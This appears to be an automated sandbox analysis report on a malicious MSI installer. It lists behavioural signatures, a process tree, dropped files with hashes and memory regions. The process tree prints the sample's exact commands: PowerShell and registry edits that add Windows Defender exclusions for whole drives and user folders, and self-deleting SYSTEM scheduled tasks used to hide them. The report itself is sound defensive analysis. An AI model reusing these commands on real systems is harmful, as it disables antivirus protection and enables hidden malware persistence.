Analysis

  • max time kernel
    146s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    15/07/2026, 02:14

General

  • Target
    app_setup.6653002.msi
  • Size 7.7MB
  • Sample260715-cpffyscv5y
  • SHA256 c06b794c5c86c8db5fde13a7e7df2f55cf1efe558d22c18d82c6559ba2a174dc
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 4 IoCs
  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 8 IoCs
  • Drops file in Windows directory 13 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 22 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\app_setup.6653002.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    PID:4272
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:252
    • C:\Windows\System32\MsiExec.exe
      C:\Windows\System32\MsiExec.exe -Embedding 504916295E6AACC477D256675F486CEA E Global\MSI0000
      2⤵
      • Looks for VirtualBox Guest Additions in registry
      • Looks for VMWare Tools registry key
      • Loads dropped DLL
      • Badlisted process makes network request
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:1564
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious use of AdjustPrivilegeToken
    PID:1752
  • C:\Users\Public\Qotj8O\9EfhP8.exe
    "C:\Users\Public\Qotj8O\9EfhP8.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5280
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2028
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Qotj8O\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:5828
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Qotj8O\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4280
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1400
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:2348
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:3660
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:5244
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3032
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2184
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:4876
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4632
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4328
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5576
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2072
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4492
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:5268
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:2840
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4900
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4092
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3352
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2764
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Qotj8O" /t REG_DWORD /d 0 /f
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:5936
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Qotj8O" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:5508
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1352
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Suspicious use of WriteProcessMemory
                          PID:5228
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:252
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                            PID:6052
                            • C:\Windows\System32\reg.exe
                              reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                              2⤵
                                PID:4424
                            • C:\Windows\system32\cmd.exe
                              "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                              1⤵
                                PID:4284
                                • C:\Windows\System32\reg.exe
                                  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                                  2⤵
                                    PID:6088

                                Network

                                      MITRE ATT&CK Enterprise v16

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                                      Downloads

                                      e598d43.rbs

                                      • Path C:\Config.Msi\e598d43.rbs
                                      • Size 7KB
                                      • SHA256 5226004ce95dd27e18e4494e93918e08b19d6e0566054876de90928aac5f0e46
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      9EfhP8.exe

                                      • Path C:\Users\Public\Qotj8O\9EfhP8.exe
                                      • Size 135KB
                                      • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      UxEnhance64.dll

                                      • Path C:\Users\Public\Qotj8O\UxEnhance64.dll
                                      • Size 3.1MB
                                      • SHA256 855c7bb27084ce50242163ddd61b9f0378c152edc4d226bd847c509ae70fe2fb
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      adoresd.dat

                                      • Path C:\Users\Public\Qotj8O\adoresd.dat
                                      • Size 4.8MB
                                      • SHA256 1f33da9f6c73c48c13a1367dc05bdee39e9cc98a73760cb19096f2f4da0ed3f7
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      msadox.tb

                                      • Path C:\Users\Public\Qotj8O\msadox.tb
                                      • Size 8KB
                                      • SHA256 3b489e028b81319b1ed76c7224473d8f9a934076b2a6ef077b4e204b46ac57d2
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      MSI94F4.tmp

                                      • Path C:\Windows\Installer\MSI94F4.tmp
                                      • Size 7.7MB
                                      • SHA256 fdb45435180afcd65cbe62a3c0ef97deb18e19ec144234c5376607a18b881f0a
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      e598d42.msi

                                      • Path C:\Windows\Installer\e598d42.msi
                                      • Size 7.7MB
                                      • SHA256 c06b794c5c86c8db5fde13a7e7df2f55cf1efe558d22c18d82c6559ba2a174dc
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      metadata-2

                                      • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
                                      • Size 26.1MB
                                      • SHA256 5bf90b653054ff64026be881762d450694cadb430ad1099a449ce345d7a8c617
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      {d78f09fd-35bc-4cc3-a50b-420a6b2c5129}_OnDiskSnapshotProp

                                      • Path \??\Volume{6392210f-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{d78f09fd-35bc-4cc3-a50b-420a6b2c5129}_OnDiskSnapshotProp
                                      • Size 6KB
                                      • SHA256 9575f2836ae55fcc0788dded6050b9e42135eeadf05a168b7d64ba630f147f2b
                                      • MD5 SHA1 SHA512 SSDEEP TLSH

                                      memory/1564-48-0x00007FFDF0250000-0x00007FFDF0262000-memory.dmp

                                      memory/1564-16-0x00007FFDF0250000-0x00007FFDF0262000-memory.dmp

                                      memory/1564-14-0x00007FFDD4520000-0x00007FFDD4B59000-memory.dmp

                                      memory/1564-12-0x00007FFDF8670000-0x00007FFDF8672000-memory.dmp

                                      memory/2028-117-0x0000020FEE210000-0x0000020FEE21A000-memory.dmp

                                      memory/2028-116-0x0000020FEE240000-0x0000020FEE2F2000-memory.dmp

                                      memory/2028-115-0x0000020FEE220000-0x0000020FEE23E000-memory.dmp

                                      memory/2028-111-0x0000020FEE1D0000-0x0000020FEE1F2000-memory.dmp

                                      memory/4864-17-0x0000018CDA8C0000-0x0000018CDB264000-memory.dmp

                                      memory/5280-76-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-80-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-81-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-82-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-83-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-88-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-94-0x0000010E19FA0000-0x0000010E19FEE000-memory.dmp

                                      memory/5280-97-0x0000010E1CB30000-0x0000010E1CBBA000-memory.dmp

                                      memory/5280-99-0x0000010E1CB30000-0x0000010E1CBBA000-memory.dmp

                                      memory/5280-98-0x0000010E1CB30000-0x0000010E1CBBA000-memory.dmp

                                      memory/5280-96-0x0000010E1CB30000-0x0000010E1CBBA000-memory.dmp

                                      memory/5280-102-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-104-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-105-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-75-0x00007FFDF8680000-0x00007FFDF8682000-memory.dmp

                                      memory/5280-73-0x0000010E1C1E0000-0x0000010E1CA9E000-memory.dmp

                                      memory/5280-67-0x00007FFDD4640000-0x00007FFDD4B5E000-memory.dmp

                                      memory/5280-66-0x00007FFDF8670000-0x00007FFDF8672000-memory.dmp